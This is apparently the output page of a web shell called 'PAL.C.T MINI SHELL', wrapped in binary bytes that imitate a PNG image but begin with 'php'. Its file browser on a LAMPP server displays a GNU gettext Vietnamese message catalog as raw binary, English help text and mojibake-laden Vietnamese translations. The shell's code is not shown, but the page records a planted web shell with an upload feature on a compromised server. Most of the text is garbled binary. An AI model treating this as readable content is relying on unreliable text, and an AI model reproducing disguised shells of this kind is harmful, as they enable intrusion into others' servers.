‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/locale/vi/LC_MESSAGES/
upload
files >> //opt/lampp/share/locale/vi/LC_MESSAGES/gettext-runtime.mo

Þ•*l;¼¨B©!ìð9ÿM9‡,£Ð,î'	-C	 q	(’	(»	ä	
$
÷1
e):ÊÞä’ÃVk*|1§&Ù"$9GIËiy’£µÄ×ÂãS¦kúfG‚RÊ.8L'…8­8æ9*Y9„9¾,ø,%RE_¥`3‡”½ Ú"ñ$%;#%3_%J“%Þ%í%;&QG&a™&Ûû&×'è'((2(L(	e((#	'
$ 
"&)%!*  -V, --version               output version information and exit
  -d, --domain=TEXTDOMAIN   retrieve translated message from TEXTDOMAIN
  -e                        enable expansion of some escape sequences
  -E                        (ignored for compatibility)
  -h, --help                display this help and exit
  -V, --version             display version information and exit
  [TEXTDOMAIN]              retrieve translated message from TEXTDOMAIN
  MSGID MSGID-PLURAL        translate MSGID (singular) / MSGID-PLURAL (plural)
  COUNT                     choose singular/plural form based on this value
  -d, --domain=TEXTDOMAIN   retrieve translated messages from TEXTDOMAIN
  -e                        enable expansion of some escape sequences
  -E                        (ignored for compatibility)
  -h, --help                display this help and exit
  -n                        suppress trailing newline
  -V, --version             display version information and exit
  [TEXTDOMAIN] MSGID        retrieve translated message corresponding
                            to MSGID from TEXTDOMAIN
  -h, --help                  display this help and exit
  -v, --variables             output the variables occurring in SHELL-FORMAT
%s: invalid option -- '%c'
%s: option '%c%s' doesn't allow an argument
%s: option '%s' is ambiguous
%s: option '--%s' doesn't allow an argument
%s: option '--%s' requires an argument
%s: option '-W %s' doesn't allow an argument
%s: option '-W %s' is ambiguous
%s: option '-W %s' requires an argument
%s: option requires an argument -- '%c'
%s: unrecognized option '%c%s'
%s: unrecognized option '--%s'
Bruno HaibleCopyright (C) %s Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Display native language translation of a textual message whose grammatical
form depends on a number.
Display native language translation of a textual message.
If the TEXTDOMAIN parameter is not given, the domain is determined from the
environment variable TEXTDOMAIN.  If the message catalog is not found in the
regular directory, another location can be specified with the environment
variable TEXTDOMAINDIR.
Standard search directory: %s
If the TEXTDOMAIN parameter is not given, the domain is determined from the
environment variable TEXTDOMAIN.  If the message catalog is not found in the
regular directory, another location can be specified with the environment
variable TEXTDOMAINDIR.
When used with the -s option the program behaves like the `echo' command.
But it does not simply copy its arguments to stdout.  Instead those messages
found in the selected catalog are translated.
Standard search directory: %s
In normal operation mode, standard input is copied to standard output,
with references to environment variables of the form $VARIABLE or ${VARIABLE}
being replaced with the corresponding values.  If a SHELL-FORMAT is given,
only those environment variables that are referenced in SHELL-FORMAT are
substituted; otherwise all environment variables references occurring in
standard input are substituted.
Informative output:
Operation mode:
Report bugs to <bug-gnu-gettext@gnu.org>.
Substitutes the values of environment variables.
Try `%s --help' for more information.
Ulrich DrepperUnknown system errorUsage: %s [OPTION] [SHELL-FORMAT]
Usage: %s [OPTION] [TEXTDOMAIN] MSGID MSGID-PLURAL COUNT
Usage: %s [OPTION] [[TEXTDOMAIN] MSGID]
or:    %s [OPTION] -s [MSGID]...
When --variables is used, standard input is ignored, and the output consists
of the environment variables that are referenced in SHELL-FORMAT, one per line.
Written by %s.
error while reading "%s"memory exhaustedmissing argumentsstandard inputtoo many argumentswrite errorProject-Id-Version: gettext-runtime 0.18
Report-Msgid-Bugs-To: bug-gnu-gettext@gnu.org
POT-Creation-Date: 2010-06-04 01:57+0200
PO-Revision-Date: 2010-05-13 18:48+0930
Last-Translator: Clytie Siddall <clytie@riverland.net.au>
Language-Team: Vietnamese <vi-VN@googlegroups.com>
Language: vi
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: LocFactoryEditor 1.8
  -V, --version               xuất thông tin vỠphiên bản, sau đó thoát
  -d, --domain=MIỀN_VÄ‚N_BẢN   lấy thông Ä‘iệp đã dịch từ _miá»n_ này
  -e                        bật _mở rộng_ một số dãy thoát
  -E                        (bị bỠqua để không tương thích)
  -h, --help          	hiện _trợ giúp_ này rồi thoát
  -V, --version     	hiện thông tin _phiên bản_ rồi thoát
  [MIỀN_VÄ‚N_BẢN]    	lấy thông Ä‘iệp đã dịch từ miá»n văn bản này
  MSGID MSGID-NHIỀU        dịch MSGID (số ít) / MSGID-NHIỀU (số nhiá»u)
  Sá»_ÄẾM            	chá»n dạng số ít/số nhiá»u dá»±a vào giá trị này
  -d, --domain=MIỀN_VAN_BẢN   lấy các thông Ä‘iệp đã dịch từ miá»n này
  -e                        bật mở rộng một số dãy thoát
  -E                        (bị bỠqua để tương thích)
  -h, --help           	hiện _trợ giúp_ này rồi thoát
  -n                        thu hồi ký tự dòng _mới_ theo sau
  -V, --version     	hiện thông tin _phiên bản_ rồi thoát
  [MIỀN_VAN_BẢN] MSGID        lấy thông điệp đã dịch tương ứng với MSGID
	từ MIỀN_VAN_BẢN
  -h, --help                  hiện trợ giúp này, sau đó thoát
 -v, --variables    xuất những biến xảy ra theo ÄỊNH DẠNG TRÃŒNH BAO
%s: tùy chá»n không hợp lệ -- « %c »
%s: tùy chá»n « %c%s » không cho phép đối số
%s: tùy chá»n « %s » còn mÆ¡ hồ
%s: tùy chá»n « --%s » không cho phép đối số
%s: tùy chá»n « --%s » yêu cầu má»™t đối số
%s: tùy chá»n « -W %s » không cho phép đối số
%s: tùy chá»n « -W %s » còn mÆ¡ hồ
%s: tùy chá»n « -W %s » yêu cầu má»™t đối số
%s: tùy chá»n yêu cầu má»™t đối số -- « %c »
%s: không nhận ra tùy chá»n « %c%s »
%s: không nhận ra tùy chá»n « --%s »
Bruno HaibleTác quyá»n © %s Tổ chức Phần má»m Tá»± do.
Giấy Phép Công Cộng GNU (GPL), phiên bản 3 hay sau <http://gnu.org/licenses/gpl.html>
Äây là phần má»m tá»± do : bạn có quyá»n thay đổi và phát hành lại nó.
KHÔNG CÓ BẢO HÀNH GÃŒ CẢ, vá»›i Ä‘iá»u kiện được pháp luật cho phép.
Hiển thị bản dịch ngôn ngữ mẹ đẻ của thông điệp thuộc văn bản có dạng
ngữ pháp phụ thuộc vào con số.
Hiển thị bản dịch ngôn ngữ mẹ đẻ của một thông điệp thuộc văn bản.
Tham số MIỀN VÄ‚N BẢN không đưa ra thì miá»n được quyết định
từ biến môi trưá»ng TEXTDOMAIN (miá»n văn bản). Nếu không tìm thấy
phân loại thông Ä‘iệp trong thư mục bình thưá»ng, vị trí khác có thể được
xác định bằng biến môi trưá»ng TEXTDOMAINDIR (thư mục cá»§a miá»n văn bản).
Thư mục tìm kiếm chuẩn: %s
Tham số MIỀN_VAN_BẢN không đưa ra thì miá»n được quyết định
từ biến môi trưá»ng TEXTDOMAIN (miá»n văn bản). Nếu không tìm thấy
phân loại thông Ä‘iệp trong thư mục bình thưá»ng, vị trí khác có thể được
xác định bằng biến môi trưá»ng TEXTDOMAINDIR (thư mục cá»§a miá»n văn bản).
Khi dùng vá»›i tùy chá»n « -s », chương trình này ứng xá»­ giống như
lệnh « echo ». Nhưng mà nó không phải đơn giản sao chép các đối số của nó
sang đầu ra tiêu chuẩn. Thay thế những thông điệp đã tìm trong phân loại
được chá»n có được dịch.
Thư mục tìm kiếm chuẩn: %s
Trong chế độ thao tác bình thưá»ng, đầu vào tiêu chuẩn được sao chép
vào đầu ra tiêu chuẩn, vá»›i tham chiếu đến biến môi trưá»ng
có dạng « $BIẾN » hay « ${BIẾN} » được thay thế bằng giá trị tương ứng.
Nếu đưa ra ÄỊNH DẠNG TRÃŒNH BAO thì chỉ thay thế những biến môi trưá»ng
được tham chiếu theo định dạng trình bao đó, không thì thay thế tất cả các
tham chiếu biến môi trưá»ng xảy ra trong đầu vào tiêu chuẩn.
Kết xuất thông tin:
Chế độ thao tác:
Hãy thông báo lỗi nào cho <bug-gnu-gettext@gnu.org>.
Thay thế giá trị cá»§a biến môi trưá»ng.
Hãy thử chạy câu lệnh « %s --help » để xem thêm thông tin.
Ulrich DrepperLá»—i hệ thống không rõSá»­ dụng: %s [TÙY_CHỌN] [ÄỊNH_DẠNG_TRÃŒNH_BAO)]
Sá»­ dụng: %s [TÙY_CHỌN] [MIỀN_VAN_BẢN] MSGID MSGID-NHIỀU Sá»_ÄẾM
Sử dụng: %s [TÙY_CHỌN] [[MIỀN_VĂN_BẢN] MSGID]
hay:    %s [TÙY_CHỌN] -s [MSGID]...
Lập tuỳ chá»n « --variables » (biến) thì bá» qua đầu vào tiêu chuẩn,
và kết xuất là những biến môi trưá»ng được tham chiếu theo ÄỊNH DẠNG TRÃŒNH BAO
(mỗi dòng một biến).
Tác giả: %s.
gặp lá»—i khi Ä‘á»c « %s »cạn bá»™ nhớđối số còn thiếuđầu vào tiêu chuẩnquá nhiá»u đối sốlá»—i ghi
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚